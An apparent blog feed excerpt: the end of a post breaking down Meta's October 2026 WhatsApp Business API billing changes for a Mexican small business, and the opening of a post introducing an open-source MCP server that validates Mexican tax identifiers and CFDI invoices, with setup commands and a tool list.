&lt;p&gt;To reconcile at month end, the WABA’s &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/analytics&quot;&gt;&lt;code&gt;pricing_analytics&lt;/code&gt;&lt;/a&gt; field accepts the &lt;code&gt;PHONE&lt;/code&gt;, &lt;code&gt;PRICING_CATEGORY&lt;/code&gt; and &lt;code&gt;PRICING_TYPE&lt;/code&gt; dimensions. Two caveats from the same page: the data is approximate (“may differ from what’s shown on invoices”), and &lt;code&gt;COST&lt;/code&gt; is not returned if your WABA shares a Solution Partner’s credit line. Also, that reference (last updated June 11) still describes &lt;code&gt;SERVICE&lt;/code&gt; as “Messages that were not charged”; the non-template messages page already shows the query with &lt;code&gt;REGULAR&lt;/code&gt; + &lt;code&gt;SERVICE&lt;/code&gt;.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Unix Timestamp Converter &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Convert Unix timestamps to a readable date (ISO, UTC, local and relative time) and dates back to a timestamp, with seconds/milliseconds detection and a live clock. No sign-up. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/unix-timestamp-converter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;conversor-timestamp&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;what-it-costs-a-small-business-with-600-conversations-a-month&quot;&gt;What it costs: a small business with 600 conversations a month&lt;/h2&gt;
&lt;p&gt;A clinic or a repair shop with an agent answering WhatsApp, one phone number, customers on +52, and no Click-to-WhatsApp ads. Per month:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;600 conversations with &lt;strong&gt;5 service messages&lt;/strong&gt; from the agent each: 3,000 service messages.&lt;/li&gt;
&lt;li&gt;600 order or appointment confirmations as utility templates, sent &lt;strong&gt;inside&lt;/strong&gt; the window.&lt;/li&gt;
&lt;li&gt;400 reminders as utility templates, sent &lt;strong&gt;outside&lt;/strong&gt; the window.&lt;/li&gt;
&lt;li&gt;One marketing campaign to 500 contacts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I assume everything is delivered; in practice it comes out slightly lower, since Meta only bills delivered messages. List rates, before any taxes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;September (July rate card):&lt;/strong&gt;&lt;/p&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line&lt;/th&gt;&lt;th&gt;Math&lt;/th&gt;&lt;th&gt;MXN&lt;/th&gt;&lt;th&gt;USD&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Service&lt;/td&gt;&lt;td&gt;3,000 × 0&lt;/td&gt;&lt;td&gt;0.00&lt;/td&gt;&lt;td&gt;0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility inside the window&lt;/td&gt;&lt;td&gt;600 × 0&lt;/td&gt;&lt;td&gt;0.00&lt;/td&gt;&lt;td&gt;0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility outside the window&lt;/td&gt;&lt;td&gt;400 × 0.1565 MXN / 0.0085 USD&lt;/td&gt;&lt;td&gt;62.60&lt;/td&gt;&lt;td&gt;3.40&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Marketing&lt;/td&gt;&lt;td&gt;500 × 0.5614 MXN / 0.0305 USD&lt;/td&gt;&lt;td&gt;280.70&lt;/td&gt;&lt;td&gt;15.25&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;343.30&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;18.65&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;October (October rate card):&lt;/strong&gt;&lt;/p&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line&lt;/th&gt;&lt;th&gt;Math&lt;/th&gt;&lt;th&gt;MXN&lt;/th&gt;&lt;th&gt;USD&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Service&lt;/td&gt;&lt;td&gt;(3,000 − 1,000) = 2,000 × 0.1565 MXN / 0.0085 USD&lt;/td&gt;&lt;td&gt;313.00&lt;/td&gt;&lt;td&gt;17.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility inside the window&lt;/td&gt;&lt;td&gt;600 × 0.1565 MXN / 0.0085 USD&lt;/td&gt;&lt;td&gt;93.90&lt;/td&gt;&lt;td&gt;5.10&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Utility outside the window&lt;/td&gt;&lt;td&gt;400 × 0.1565 MXN / 0.0085 USD&lt;/td&gt;&lt;td&gt;62.60&lt;/td&gt;&lt;td&gt;3.40&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Marketing&lt;/td&gt;&lt;td&gt;500 × 0.7298 MXN / 0.0397 USD&lt;/td&gt;&lt;td&gt;364.90&lt;/td&gt;&lt;td&gt;19.85&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;834.40&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;45.35&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Meta’s bill goes from 343.30 to 834.40 MXN on the peso card (18.65 to 45.35 on the dollar card): &lt;strong&gt;491.10 MXN or 26.70 USD more per month&lt;/strong&gt;. Nobody goes under over that, but it is 2.4 times September, and 406.90 of those 491.10 pesos (over 80%) come from two lines that cost zero today.&lt;/p&gt;
&lt;h3 id=&quot;where-the-real-lever-is-your-code&quot;&gt;Where the real lever is: your code&lt;/h3&gt;
&lt;p&gt;Switching the in-window utility confirmations to free-form text &lt;strong&gt;saves nothing in this example&lt;/strong&gt;: in Mexico the service rate and the utility rate are the same, and the free tier is already used up. It only helps businesses that stay under 1,000 service messages a month.&lt;/p&gt;
&lt;p&gt;What actually moves the number is &lt;strong&gt;how many messages your agent sends per reply&lt;/strong&gt;. Plenty of AI agents split each answer into three or four bubbles because it reads more naturally. From October 1, every bubble past the 1,000th is a charge. If the same agent answers with 3 messages per conversation instead of 5:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;600 × 3 = 1,800 service messages.&lt;/li&gt;
&lt;li&gt;(1,800 − 1,000) = 800 × 0.1565 = &lt;strong&gt;125.20 MXN&lt;/strong&gt; (800 × 0.0085 = &lt;strong&gt;6.80 USD&lt;/strong&gt;), versus 313.00 MXN (17.00 USD).&lt;/li&gt;
&lt;li&gt;Savings: &lt;strong&gt;187.80 MXN or 10.20 USD a month&lt;/strong&gt;, without touching a single price.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If some of your customers arrive through Click-to-WhatsApp ads, replying within the first 24 hours opens the 72-hour free entry point window, and everything in it comes back as &lt;code&gt;free_entry_point&lt;/code&gt;. Meta confirms that window is unchanged for message delivery.&lt;/p&gt;
&lt;h2 id=&quot;what-happens-with-no-payment-method&quot;&gt;What happens with no payment method&lt;/h2&gt;
&lt;p&gt;Meta has two wordings here, from different dates, and they are worth reading together.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing/non-template-messages&quot;&gt;non-template messages page&lt;/a&gt;, updated &lt;strong&gt;August 25, 2026&lt;/strong&gt;, says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For any Solution Provider or directly-integrated businesses that does not have a payment method on file by September 30, 2026, Meta will stop delivering service messages as of when they become charged on October 1, 2026. To avoid disruptions to your service messages, please add a payment method for your WhatsApp Business Account(s) by September 30, 2026.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/pricing&quot;&gt;pricing page&lt;/a&gt;, updated &lt;strong&gt;September 10, 2026&lt;/strong&gt;, which is where the free tier was introduced as new, is more specific:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you do not have a payment method for your WhatsApp Business account: Meta &lt;em&gt;will&lt;/em&gt; deliver your first 1,000 service messages each month but &lt;em&gt;not&lt;/em&gt; deliver as of your 1,001st.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They do not contradict each other: the first says delivery stops “as of when they become charged”, and the second, written after the free tier was added, says that happens at the 1,001st message. In practice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The date Meta gives for having a payment method in place is September 30.&lt;/strong&gt; Do not wait for the first failure.&lt;/li&gt;
&lt;li&gt;Without a payment method, your agent works normally until the number crosses 1,000 service messages for the month, and &lt;strong&gt;then stops delivering mid-month&lt;/strong&gt;. For a busy business that can be a Tuesday afternoon.&lt;/li&gt;
&lt;li&gt;In the pages I reviewed, Meta does not publish which error code the &lt;code&gt;failed&lt;/code&gt; status carries in that case. Watch for a spike in &lt;code&gt;failed&lt;/code&gt; on service messages from October 1.&lt;/li&gt;
&lt;li&gt;The August notice is addressed to “Solution Provider or directly-integrated businesses”. If your WABA is billed through a solution provider, get written confirmation from them that the payment method is sorted before September 30.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;checklist-before-september-30&quot;&gt;Checklist before September 30&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A payment method in Billing Hub&lt;/strong&gt; for every WABA, or written confirmation from your provider if you are billed through one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A tolerant parser:&lt;/strong&gt; store &lt;code&gt;pricing.type&lt;/code&gt; and &lt;code&gt;pricing.category&lt;/code&gt; as received. Never drop a status because it carries &lt;code&gt;group_service&lt;/code&gt;, &lt;code&gt;free_group_customer_service&lt;/code&gt; or &lt;code&gt;authentication-international&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop deciding with &lt;code&gt;billable&lt;/code&gt;.&lt;/strong&gt; Use &lt;code&gt;type === &amp;#39;regular&amp;#39;&lt;/code&gt; plus the rate for &lt;code&gt;category&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A rate card with effective dates&lt;/strong&gt;, loaded with the October card (Mexico marketing at 0.7298 MXN / 0.0397 USD). The next date Meta can change prices is January 1, 2027.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Count on &lt;code&gt;delivered&lt;/code&gt; or &lt;code&gt;read&lt;/code&gt;, once per &lt;code&gt;wamid&lt;/code&gt;&lt;/strong&gt;, grouped by &lt;code&gt;phone_number_id&lt;/code&gt; and by month in your WABA timezone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alerts:&lt;/strong&gt; fewer than 200 free service messages left, first &lt;code&gt;regular&lt;/code&gt; service message of the month, categories with no rate, and a rise in &lt;code&gt;failed&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Utility templates inside the window:&lt;/strong&gt; from October 1 they are billed from the first one. If you send fewer than 1,000 service messages a month, free-form text inside the window can be free where the template costs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Marketing versus utility templates:&lt;/strong&gt; Meta bills the category a template has at the time of use, and can recategorize it. Subscribe to the &lt;a href=&quot;https://developers.facebook.com/documentation/business-messaging/whatsapp/webhooks/reference/template_category_update&quot;&gt;&lt;code&gt;template_category_update&lt;/code&gt;&lt;/a&gt; webhook, which warns you 24 hours before an automated category change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Messages per reply:&lt;/strong&gt; merge your agent’s bubbles. It is the cheapest lever in the example.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monthly reconciliation&lt;/strong&gt; against &lt;code&gt;pricing_analytics&lt;/code&gt;, knowing it is approximate.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/ai-whatsapp-agent-for-smbs-laravel-openai/&quot;&gt;Build an AI agent on WhatsApp for your small business (Laravel + OpenAI)&lt;/a&gt;: the webhook, conversation memory and the 24-hour window rules, from scratch.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What changes in the WhatsApp Business API on October 1, 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Meta starts billing two kinds of message that are free today: service messages (non-template messages sent inside the 24-hour customer service window) from the 1,001st message each month per business phone number, and utility templates sent inside that window, which are billed from the first one. In Mexico both cost 0.1565 MXN (0.0085 USD) per delivered message. Mexico marketing also rises from 0.5614 to 0.7298 MXN (0.0305 to 0.0397 USD). The change applies at 12am in your WhatsApp Business account timezone. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I know from the webhook whether a WhatsApp message was billed? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Read pricing.type in the status messages webhook: regular means billed; free_customer_service, free_entry_point or free_group_customer_service mean it was free. pricing.category tells you which rate was applied. Do not rely on pricing.billable: Meta’s reference says it will be deprecated in a future versioned release and recommends using type and category together. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Are the 1,000 free WhatsApp service messages per account or per phone number? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Per business phone number. Meta says every business phone number receives 1,000 free service messages per month, that it charges from the 1,001st service message delivered that month, and that unused messages do not roll over. The free tier only covers service messages; utility templates inside the window have no free tier. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What happens if my WhatsApp Business account has no payment method on October 1? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; According to Meta’s pricing page, updated September 10, 2026, Meta delivers your first 1,000 service messages each month and stops delivering from the 1,001st. The non-template messages page asks businesses to add a payment method in Billing Hub by September 30, 2026. If you are billed through a solution provider, confirm with them that the payment method is in place. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does the pricing object arrive on every status webhook? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Per Meta’s reference, pricing is included with the sent status and with one of delivered or read, and in v24.0 it can appear only on delivered. Since Meta bills delivered messages and sometimes sends read without delivered, count each message once per wamid when delivered or read arrives, and keep the pricing from whichever status carried it. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How much will a small business in Mexico pay Meta from October? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It depends on volume. With 600 conversations a month at 5 service messages each, 600 utility confirmations inside the window, 400 utility reminders outside it and one marketing campaign to 500 contacts, the Meta bill goes from 343.30 MXN in September to 834.40 MXN in October at list rates, or from 18.65 to 45.35 USD on the USD card. Cutting the agent from 5 to 3 messages per conversation lowers the service line from 313.00 to 125.20 MXN. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Should I replace utility templates with free-form text inside the window? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Only if you send fewer than 1,000 service messages a month. In Mexico, service and utility cost the same from October 1, but service gets 1,000 free messages per month per number and utility does not. Once the tier is used up, it makes no difference. The bigger lever is usually having your agent send fewer messages per reply. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>WhatsApp</category><category>Costs</category><category>Pricing</category><category>Webhooks</category><category>TypeScript</category><category>Backend</category><author>Marco Orta</author></item><item><title>Validate Mexican RFC, CURP and CFDI Invoices from Claude, With No API Keys</title><link>https://ortamarco.me/en/blog/validate-mexican-rfc-cfdi-claude-mcp/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/validate-mexican-rfc-cfdi-claude-mcp/</guid><description>An open-source MCP server that lets Claude validate RFC, CURP, CLABE and NSS with their real check digits, read CFDI 4.0 invoices and ask the SAT whether they are still valid. Setup, what to ask it, and the six details a regex gets wrong.</description><pubDate>Fri, 11 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Ask an AI agent to validate a Mexican RFC and it will usually write a regex. Then it will reject &lt;code&gt;XAXX010101000&lt;/code&gt; — the RFC printed on every invoice issued to the general public — because that RFC does not satisfy its own check digit.&lt;/strong&gt; The SAT assigned it by decree, and the modulus-11 algorithm asks for a &lt;code&gt;4&lt;/code&gt; where the SAT wrote a &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That is the kind of detail an agent cannot be trusted to remember, and Mexican tax data is full of them. So I built &lt;strong&gt;&lt;a href=&quot;https://ortamarco.me/en/portfolio/mx-fiscal-mcp/&quot;&gt;mx-fiscal-mcp-server&lt;/a&gt;&lt;/strong&gt;: an open-source &lt;a href=&quot;https://modelcontextprotocol.io&quot;&gt;MCP&lt;/a&gt; server that gives Claude (or Cursor, or any MCP client) eight read-only tools to validate RFC, CURP, CLABE and NSS with their real algorithms, read CFDI 4.0 invoices, ask the SAT whether an invoice is still valid, and look up the SAT’s code tables.&lt;/p&gt;
&lt;p&gt;It needs &lt;strong&gt;no API keys, no CSD certificate and no PAC contract&lt;/strong&gt;. This post covers the setup, what you can ask it, and the six details that a hand-rolled implementation gets wrong — including one I got wrong myself before release.&lt;/p&gt;
&lt;h2 id=&quot;setup-in-one-line&quot;&gt;Setup in one line&lt;/h2&gt;
&lt;p&gt;The server is published on &lt;a href=&quot;https://www.npmjs.com/package/mx-fiscal-mcp-server&quot;&gt;npm&lt;/a&gt; and in the official MCP Registry, so there is nothing to clone. For Claude Code:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;claude mcp &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; mx-fiscal -- npx &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; mx-fiscal-mcp-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For Claude Desktop or Cursor, add it to &lt;code&gt;claude_desktop_config.json&lt;/code&gt; or &lt;code&gt;~/.cursor/mcp.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot; data-language=&quot;json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&amp;quot;mcpServers&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&amp;quot;mx-fiscal&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;command&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;npx&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&amp;quot;args&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;-y&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;mx-fiscal-mcp-server&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Windows, use &lt;code&gt;&amp;quot;command&amp;quot;: &amp;quot;cmd&amp;quot;&lt;/code&gt; with &lt;code&gt;&amp;quot;args&amp;quot;: [&amp;quot;/c&amp;quot;, &amp;quot;npx&amp;quot;, &amp;quot;-y&amp;quot;, &amp;quot;mx-fiscal-mcp-server&amp;quot;]&lt;/code&gt;. It needs Node.js 20 or newer.&lt;/p&gt;
&lt;p&gt;It is built on the v2 MCP SDK, so it speaks the 2026-07-28 protocol revision and still serves the 2025-era clients that Claude Desktop, Claude Code and Cursor use today, from the same process. If you maintain a server yourself, I wrote up &lt;a href=&quot;https://ortamarco.me/en/blog/migrate-mcp-server-2026-07-28/&quot;&gt;what changes when you migrate to 2026-07-28&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-eight-tools&quot;&gt;The eight tools&lt;/h2&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tool&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;validate_rfc&lt;/code&gt;&lt;/td&gt;&lt;td&gt;RFC for individuals (13 characters) and companies (12): check digit, parsed fields, birth or incorporation date, and whether it is one of the SAT generics&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;validate_curp&lt;/code&gt;&lt;/td&gt;&lt;td&gt;18-character CURP: check digit, birth date, sex, state of birth and the century marker&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;validate_clabe&lt;/code&gt;&lt;/td&gt;&lt;td&gt;18-digit bank account number (CLABE): control digit, bank and plaza code&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;validate_nss&lt;/code&gt;&lt;/td&gt;&lt;td&gt;11-digit IMSS social security number with its Luhn digit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;generate_test_data&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1 to 100 coherent fake people or companies: RFC and CURP derived from the same name and birth date, CLABE from a real bank&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;parse_cfdi&lt;/code&gt;&lt;/td&gt;&lt;td&gt;CFDI 4.0 XML to JSON, with every catalogue code labelled, both RFCs validated and the totals checked&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;cfdi_status&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Asks the SAT’s public status service whether the invoice exists, is cancelled or can be cancelled, and returns the result of its EFOS check (the 69-B list)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sat_catalog_lookup&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Nine SAT code tables (tax regimes, CFDI uses, payment forms and methods, and more) by code or text&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Only &lt;code&gt;cfdi_status&lt;/code&gt; touches the network. The other seven never leave the process.&lt;/p&gt;
&lt;h2 id=&quot;what-you-can-ask-it&quot;&gt;What you can ask it&lt;/h2&gt;
&lt;p&gt;A few prompts that work well, with the shape of what comes back:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;“Is &lt;code&gt;GODE561231GR8&lt;/code&gt; a valid RFC? Decode it.”&lt;/em&gt; — kind (individual or company), the date encoded in it, and a legible reason for every failure: not just &lt;code&gt;invalid&lt;/code&gt;, but &lt;em&gt;“the final check digit does not match the modulus-11 result”&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;“Generate 20 Mexican customers with valid RFC, CURP and CLABE for my seed file.”&lt;/em&gt; — every check digit holds, and the RFC and CURP of each record describe the same person.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;“Read this invoice and tell me whether it’s still valid at the SAT.”&lt;/em&gt; — Claude calls &lt;code&gt;parse_cfdi&lt;/code&gt; to label everything and check the arithmetic, then &lt;code&gt;cfdi_status&lt;/code&gt; with the four values it needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one is the flow that saves the most time, and it hides most of the traps below.&lt;/p&gt;
